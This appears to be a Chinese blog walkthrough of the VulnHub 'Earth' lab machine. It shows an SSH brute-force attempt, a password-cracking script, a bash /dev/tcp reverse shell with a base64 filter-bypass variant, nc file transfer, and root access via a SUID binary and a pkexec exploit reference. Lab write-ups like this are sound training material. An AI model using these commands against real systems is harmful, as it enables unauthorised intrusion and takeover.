vulnhub 靶机 Earth


前言

      难度:简单,本文使用VirtualBox打开,下载地址:https://www.vulnhub.com/entry/the-planets-earth,755/。
      靶机地址:192.168.56.104
      kali地址:192.168.56.101


一、安装

     1)安装步骤请参考:

https://blog.csdn.net/qq_44029310/article/details/125198582?spm=1001.2014.3001.5501

     2)如遇以下错误,可在设置中选择将USB调成1.1。
在这里插入图片描述

二、Web部分

     1)使用Arp扫描工具,发现192.168.56.104,确定为靶机地址。

	arp-scan -l

在这里插入图片描述
     2)扫描端口如下,发现了SAN,有两个域名。
在这里插入图片描述
     3)先爆破下22端口,失败。

hydra -l root -p ssh_password.txt 192.168.56.104 ssh

在这里插入图片描述
     4)分别访问80和443端口,80端口400错误,443端口也没什么用,回到80端口,400错误一般有两种可能一种是错误的请求方式,另一种是不存在的域名,本文显然后不可能是第二种,再结合扫描出的两个域名,可以绑定域名,然后访问域名试试。
在这里插入图片描述
在这里插入图片描述
     5)绑定域名。

vim /etc/hosts

在这里插入图片描述
     6)分别访问两个域名,页面看起来一样,一样的没看懂什么意思!
在这里插入图片描述
在这里插入图片描述
     7)还是先扫描一波目录,http和https对应的域名分别扫。
在这里插入图片描述
     8)80端口扫出了登录页面,拼接admin访问,但是爆破没成功。
在这里插入图片描述
     9)443端口扫出了robots.txt文件,访问后,发现最后一个明显很特殊。
在这里插入图片描述
     10)访问发现是给的提示,账号为terra,使用了异或加密,加密字典是testdata.txt。
在这里插入图片描述
     11)研究了一下写了一个脚本,破解密码。

import binascii

key="2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
testdata="According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."

a = binascii.b2a_hex(testdata.encode()).decode()
b = binascii.a2b_hex(hex(int(a,16) ^ int(key,16))[2:]).decode()
print(b)

在这里插入图片描述
     12)密码是一直重复的earthclimatechangebad4humans,访问80端口的域名,使用账号密码登录成功,发现可以命令执行。
在这里插入图片描述
     13)二话不说直接反弹shell,提示禁止远程连接。

bash -i >& /dev/tcp/192.168.56.101/25001 0>&1

在这里插入图片描述
     14)尝试base64编码绕过。
在这里插入图片描述
     15)使用以下命令,成功绕过限制,反弹shell。

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMS8yNTAwMSAwPiYx}|{base64,-d}|{bash,-i}'

在这里插入图片描述
     16)查看是否存在python环境。

	whereis python

在这里插入图片描述
     17)存在python环境,切换交互式shell。

	python3 -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

三、提权部分

     1)当前权限为apache,所以需要提权,查看内核版本和发行版本,没什么用,放弃。
在这里插入图片描述
     2)尝试SUID提权,查找拥有SUID标识的文件:

	find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
     3)发现pkexec文件,可以使用pkexec提权漏洞提权,脚本地址:https://github.com/Mauro-K/tiquan,先解压到本地,然后在脚本文件夹内开启http服务,利用靶机下载提权文件。

编译命令:gcc cve-2021-4034-poc.c -o exp

在这里插入图片描述
     4)尴尬了,发现没有权限不允许下载,在尝试别的文件,发现reset_root文件,因为这个文件名就叫重置root用户,作者提示已经很明显了!。
在这里插入图片描述
     5)利用nc的传输功能,把靶机上的文件传输到本地查看,否则太麻烦了。先kali开启监听,然后利用靶机的shell传输文件。

nc -nlvp 9999 > reset_root
nc 192.168.56.101 9999 < /usr/bin/reset_root

在这里插入图片描述
     6)使用strace调试工具打开调试,注意此处需要绝对路径,查看代码发现是因为没有触发器,缺少三个文件,不能通过校验,解决办法也简单就在内三个目录下创建三个文件。
在这里插入图片描述
     7)创建触发器文件。

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe

在这里插入图片描述
     8)创建完成,再次执行reset_root,密码重置成功为:Earth。
在这里插入图片描述
     9)su 切换用户,拿到root权限,root用户下查看flag。
在这里插入图片描述

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值